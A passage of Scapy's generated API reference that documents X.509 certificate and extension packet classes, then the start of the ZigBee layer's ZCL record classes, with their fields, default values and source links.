ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtPrivateKeyUsagePeriod fields






	notBefore

	ASN1F_GENERALIZED_TIME

	2024-04-14 12:54:53 UTC <ASN1_GENERALIZED_TIME['20240414125453Z']>



	notAfter

	ASN1F_GENERALIZED_TIME

	2024-04-15 13:04:53 UTC <ASN1_GENERALIZED_TIME['20240415130453Z']>















	
class scapy.layers.x509.X509_ExtQcStatement(_pkt, /, *, statementId=<ASN1_OID['.0.4.0.1862.1.1']>, statementInfo=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L630-L635]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_OID object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtQcStatement fields






	statementId

	ASN1F_OID

	<ASN1_OID['.0.4.0.1862.1.1']>



	statementInfo

	ASN1F_field

	None















	
class scapy.layers.x509.X509_ExtQcStatements(_pkt, /, *, qcStatements=[<X509_ExtQcStatement  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L638-L642]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF qcStatements>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtQcStatements fields






	qcStatements

	ASN1F_SEQUENCE_OF

	[<X509_ExtQcStatement  |>]















	
class scapy.layers.x509.X509_ExtReasonCode(_pkt, /, *, cRLReason=0x0 <ASN1_ENUMERATED[0]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L453-L455]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_ENUMERATED object>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtReasonCode fields






	cRLReason

	ASN1F_ENUMERATED

	0x0 <ASN1_ENUMERATED[0]>















	
class scapy.layers.x509.X509_ExtSubjInfoAccess(_pkt, /, *, subjectInfoAccess=[<X509_AccessDescription  accessLocation=<X509_GeneralName  generalName=<X509_DirectoryName  directoryName=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Name']> |>] |>] |> |> |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L645-L649]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF subjectInfoAccess>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtSubjInfoAccess fields






	subjectInfoAccess

	ASN1F_SEQUENCE_OF

	[<X509_AccessDescription  accessLocation=<X509_GeneralName  generalName=<X509_DirectoryName  directoryName=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Name']> |>] |>] |> |> |>]















	
class scapy.layers.x509.X509_ExtSubjectAltName(_pkt, /, *, subjectAltName=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L495-L497]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF subjectAltName>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtSubjectAltName fields






	subjectAltName

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.x509.X509_ExtSubjectDirectoryAttributes(_pkt, /, *, subjectDirectoryAttributes=[<X509_Attribute  values=[<X509_AttributeValue  |>] |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L323-L327]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF subjectDirectoryAttributes>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtSubjectDirectoryAttributes fields






	subjectDirectoryAttributes

	ASN1F_SEQUENCE_OF

	[<X509_Attribute  values=[<X509_AttributeValue  |>] |>]















	
class scapy.layers.x509.X509_ExtSubjectKeyIdentifier(_pkt, /, *, keyIdentifier=<ASN1_STRING['xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L330-L332]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_STRING object>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtSubjectKeyIdentifier fields






	keyIdentifier

	ASN1F_STRING

	<ASN1_STRING['xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff']>















	
class scapy.layers.x509.X509_ExtUserNotice(_pkt, /, *, noticeRef=None, explicitText=<ASN1_UTF8_STRING['Dummy ExplicitText']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L559-L569]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_ExtUserNotice fields






	noticeRef

	ASN1F_PACKET

	None



	explicitText

	ASN1F_CHOICE

	<ASN1_UTF8_STRING['Dummy ExplicitText']>















	
class scapy.layers.x509.X509_Extension(_pkt, /, *, extnID=<ASN1_OID['basicConstraints']>, critical=False <ASN1_BOOLEAN[False]>, extnValue=<X509_ExtBasicConstraints  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L743-L745]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_EXT_SEQUENCE(<scapy.asn1fields.ASN1F_OID object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_PACKET object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_Extension fields






	extnID

	ASN1F_OID

	<ASN1_OID['basicConstraints']>



	critical

	ASN1F_BOOLEAN

	False <ASN1_BOOLEAN[False]>



	extnValue

	ASN1F_PACKET

	<X509_ExtBasicConstraints  |>















	
class scapy.layers.x509.X509_Extensions(_pkt, /, *, extensions=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L748-L753]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_optional object>

	




	
aliastypes

	




	
fields_desc

	
X509_Extensions fields






	extensions

	ASN1F_SEQUENCE_OF

	None















	
class scapy.layers.x509.X509_GeneralName(_pkt, /, *, generalName=<X509_DirectoryName  directoryName=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Name']> |>] |>] |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L283-L303]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_CHOICE object>

	




	
aliastypes

	




	
fields_desc

	
X509_GeneralName fields






	generalName

	ASN1F_CHOICE

	<X509_DirectoryName  directoryName=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Name']> |>] |>] |>















	
class scapy.layers.x509.X509_IPAddress(_pkt, /, *, iPAddress=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L273-L275]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_STRING object>

	




	
aliastypes

	




	
fields_desc

	
X509_IPAddress fields






	iPAddress

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.x509.X509_OtherName(_pkt, /, *, type_id=<ASN1_OID['.0']>, value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L212-L219]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_OID object>, <scapy.asn1fields.ASN1F_CHOICE object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_OtherName fields






	type_id

	ASN1F_OID

	<ASN1_OID['.0']>



	value

	ASN1F_CHOICE

	None















	
class scapy.layers.x509.X509_PolicyMapping(_pkt, /, *, issuerDomainPolicy=None, subjectDomainPolicy=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L413-L417]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_OID object>, <scapy.asn1fields.ASN1F_OID object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_PolicyMapping fields






	issuerDomainPolicy

	ASN1F_OID

	None



	subjectDomainPolicy

	ASN1F_OID

	None















	
class scapy.layers.x509.X509_RDN(_pkt, /, *, rdn=[<X509_AttributeTypeAndValue  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L206-L209]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SET_OF rdn>

	




	
aliastypes

	




	
fields_desc

	
X509_RDN fields






	rdn

	ASN1F_SET_OF

	[<X509_AttributeTypeAndValue  |>]















	
class scapy.layers.x509.X509_RFC822Name(_pkt, /, *, rfc822Name=<ASN1_IA5_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L222-L224]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_IA5_STRING object>

	




	
aliastypes

	




	
fields_desc

	
X509_RFC822Name fields






	rfc822Name

	ASN1F_IA5_STRING

	<ASN1_IA5_STRING['']>















	
class scapy.layers.x509.X509_RegisteredID(_pkt, /, *, registeredID=<ASN1_OID['.']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L278-L280]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_OID object>

	




	
aliastypes

	




	
fields_desc

	
X509_RegisteredID fields






	registeredID

	ASN1F_OID

	<ASN1_OID['.']>















	
class scapy.layers.x509.X509_RevokedCertificate(_pkt, /, *, serialNumber=0x1 <ASN1_INTEGER[1]>, revocationDate=2024-04-15 13:04:53 UTC <ASN1_UTC_TIME['240415130453Z']>, crlEntryExtensions=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L996-L1003]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_UTC_TIME object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_RevokedCertificate fields






	serialNumber

	ASN1F_INTEGER

	0x1 <ASN1_INTEGER[1]>



	revocationDate

	ASN1F_UTC_TIME

	2024-04-15 13:04:53 UTC <ASN1_UTC_TIME['240415130453Z']>



	crlEntryExtensions

	ASN1F_SEQUENCE_OF

	None















	
class scapy.layers.x509.X509_SubjectPublicKeyInfo(_pkt, /, *, signatureAlgorithm=<X509_AlgorithmIdentifier  |>, subjectPublicKey=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L787-L789]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_X509_SubjectPublicKeyInfo(<scapy.asn1fields.ASN1F_PACKET object>, <scapy.fields.MultipleTypeField object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_SubjectPublicKeyInfo fields






	signatureAlgorithm

	ASN1F_PACKET

	<X509_AlgorithmIdentifier  |>



	subjectPublicKey

	MultipleTypeField (ASN1F_BIT_STRING_ENCAPS, ASN1F_PACKET, ASN1F_BIT_STRING)

	<ASN1_BIT_STRING[]=b'' (0 unused bit)>















	
class scapy.layers.x509.X509_TBSCertList(_pkt, /, *, version=0x1 <ASN1_INTEGER[1]>, signature=<X509_AlgorithmIdentifier  |>, issuer=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Issuer']> |>] |>], this_update=2024-04-14 13:04:52 UTC <ASN1_UTC_TIME['240414130452Z']>, next_update=None, revokedCertificates=None, crlExtensions=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L1006-L1049]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_PACKET object>, <ASN1F_SEQUENCE_OF issuer>, <scapy.asn1fields.ASN1F_UTC_TIME object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_TBSCertList fields






	version

	ASN1F_enum_INTEGER

	0x1 <ASN1_INTEGER[1]>



	signature

	ASN1F_PACKET

	<X509_AlgorithmIdentifier  |>



	issuer

	ASN1F_SEQUENCE_OF

	[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Issuer']> |>] |>]



	this_update

	ASN1F_UTC_TIME

	2024-04-14 13:04:52 UTC <ASN1_UTC_TIME['240414130452Z']>



	next_update

	ASN1F_UTC_TIME

	None



	revokedCertificates

	ASN1F_SEQUENCE_OF

	None



	crlExtensions

	ASN1F_SEQUENCE_OF

	None











	
get_issuer()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L1026-L1032]

	




	
get_issuer_str()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L1034-L1049]

	Returns a one-line string containing every type/value
in a rather specific order. sorted() built-in ensures unicity.










	
class scapy.layers.x509.X509_TBSCertificate(_pkt, /, *, version=0x2 <ASN1_INTEGER[2]>, serialNumber=0x1 <ASN1_INTEGER[1]>, signature=<X509_AlgorithmIdentifier  |>, issuer=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Issuer']> |>] |>], validity=<X509_Validity  |>, subject=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Subject']> |>] |>], subjectPublicKeyInfo=<X509_SubjectPublicKeyInfo  |>, issuerUniqueID=None, subjectUniqueID=None, extensions=[<X509_Extension  extnValue=<X509_ExtBasicConstraints  |> |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L892-L966]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_PACKET object>, <ASN1F_SEQUENCE_OF issuer>, <scapy.asn1fields.ASN1F_PACKET object>, <ASN1F_SEQUENCE_OF subject>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_TBSCertificate fields






	version

	ASN1F_enum_INTEGER

	0x2 <ASN1_INTEGER[2]>



	serialNumber

	ASN1F_INTEGER

	0x1 <ASN1_INTEGER[1]>



	signature

	ASN1F_PACKET

	<X509_AlgorithmIdentifier  |>



	issuer

	ASN1F_SEQUENCE_OF

	[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Issuer']> |>] |>]



	validity

	ASN1F_PACKET

	<X509_Validity  |>



	subject

	ASN1F_SEQUENCE_OF

	[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Subject']> |>] |>]



	subjectPublicKeyInfo

	ASN1F_PACKET

	<X509_SubjectPublicKeyInfo  |>



	issuerUniqueID

	ASN1F_BIT_STRING

	None



	subjectUniqueID

	ASN1F_BIT_STRING

	None



	extensions

	ASN1F_SEQUENCE_OF

	[<X509_Extension  extnValue=<X509_ExtBasicConstraints  |> |>]











	
get_issuer()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L922-L928]

	




	
get_issuer_str()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L930-L945]

	Returns a one-line string containing every type/value
in a rather specific order. sorted() built-in ensures unicity.






	
get_subject()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L947-L953]

	




	
get_subject_str()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L955-L966]

	








	
class scapy.layers.x509.X509_URI(_pkt, /, *, uniformResourceIdentifier=<ASN1_IA5_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L268-L270]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_IA5_STRING object>

	




	
aliastypes

	




	
fields_desc

	
X509_URI fields






	uniformResourceIdentifier

	ASN1F_IA5_STRING

	<ASN1_IA5_STRING['']>















	
class scapy.layers.x509.X509_Validity(_pkt, /, *, not_before=2024-04-14 12:54:53 UTC <ASN1_UTC_TIME['240414125453Z']>, not_after=2024-04-15 13:04:53 UTC <ASN1_UTC_TIME['240415130453Z']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L870-L878]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_CHOICE object>, <scapy.asn1fields.ASN1F_CHOICE object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_Validity fields






	not_before

	ASN1F_CHOICE

	2024-04-14 12:54:53 UTC <ASN1_UTC_TIME['240414125453Z']>



	not_after

	ASN1F_CHOICE

	2024-04-15 13:04:53 UTC <ASN1_UTC_TIME['240415130453Z']>















	
class scapy.layers.x509.X509_X400Address(_pkt, /, *, x400Address=<_ASN1_ERROR['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L234-L236]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_field object>

	




	
aliastypes

	




	
fields_desc

	
X509_X400Address fields






	x400Address

	ASN1F_field

	<_ASN1_ERROR['']>

















            

          

      

      

    

  

    
      
          
            
  
scapy.layers.zigbee

ZigBee bindings for IEEE 802.15.4.


	
class scapy.layers.zigbee.LinkStatusEntry(_pkt, /, *, neighbor_network_address=0, reserved1=0, outgoing_cost=0, reserved2=0, incoming_cost=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L340-L354]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L353-L354]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    NEIGHBOR NETWORK ADDRESS   |R|OUTGO|R|INCOM|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. LinkStatusEntry                       


LinkStatusEntry fields






	neighbor_network_address

	XLEShortField

	0



	reserved1

	BitField  (1 bit)

	0



	outgoing_cost

	BitField  (3 bits)

	0



	reserved2

	BitField  (1 bit)

	0



	incoming_cost

	BitField  (3 bits)

	0















	
class scapy.layers.zigbee.ZCLAttributeReport(_pkt, /, *, attribute_identifier=0, attribute_data_type=0, attribute_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1186-L1198]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1197-L1198]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      ATTRIBUTE IDENTIFIER     |ATTRIBUTE DATA | ATTRIBUTE DATA|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. ZCLAttributeReport                      


ZCLAttributeReport fields






	attribute_identifier

	XLEShortField

	0



	attribute_data_type

	ByteEnumField

	0



	attribute_data

	_DiscreteString

	b''















	
class scapy.layers.zigbee.ZCLConfigureReportingRecord(_pkt, /, *, attribute_direction=0, attribute_identifier=0, attribute_data_type=0, min_reporting_interval=0, max_reporting_interval=0, reportable_change=b'', timeout_period=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1127-L1162]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1161-L1162]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ATTRIBUTE DIREC|      ATTRIBUTE IDENTIFIER     |ATTRIBUTE DATA |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     MIN REPORTING INTERVAL    |     MAX REPORTING INTERVAL    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       REPORTABLE CHANGE       |         TIMEOUT PERIOD        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. ZCLConfigureReportingRecord                 


ZCLConfigureReportingRecord fields






	attribute_direction

	ByteField

	0



	attribute_identifier

	XLEShortField

	0



	attribute_data_type

	ByteEnumField (Cond)

	0



	min_reporting_interval

	XLEShortField (Cond)

	0



	max_reporting_interval

	XLEShortField (Cond)

	0



	reportable_change

	_DiscreteString (Cond)

	b''



	timeout_period

	XLEShortField (Cond)

	0















	
class scapy.layers.zigbee.ZCLConfigureReportingResponseRecord(_pkt, /, *, status=0, attribute_direction=0, attribute_identifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1165-L1183]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1182-L1183]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |ATTRIBUTE DIREC|      ATTRIBUTE IDENTIFIER     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. ZCLConfigureReportingResponseRecord             


ZCLConfigureReportingResponseRecord fields






	status

	ByteEnumField

	0



	attribute_direction

	ByteField (Cond)

	0



	attribute_identifier

	XLEShortField (Cond)

	0















	
class scapy.layers.zigbee.ZCLGeneralConfigureReporting(_pkt, /, *, config_records=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1229-L1233]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CONFIG RECORDS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. ZCLGeneralConfigureReporting                 


ZCLGeneralConfigureReporting fields






	config_records

	PacketListField

	[]















	
class scapy.layers.zigbee.ZCLGeneralConfigureReportingResponse(_pkt, /, *, status_records=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1236-L1240]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STATUS RECORDS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. ZCLGeneralConfigureReportingResponse             


ZCLGeneralConfigureReportingResponse fields






	status_records

	PacketListField

	[]















	
class scapy.layers.zigbee.ZCLGeneralDefaultResponse(_pkt, /, *, response_command_identifier=0, status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1250-L1257]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESPONSE COMMAN|     STATUS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ZCLGeneralDefaultResponse                  


ZCLGeneralDefaultResponse fields






	response_command_identifier

	ByteField

	0



	status

	ByteEnumField

	0















	
class scapy.layers.zigbee.ZCLGeneralReadAttributes(_pkt, /, *, attribute_identifiers=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1201-L1205]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
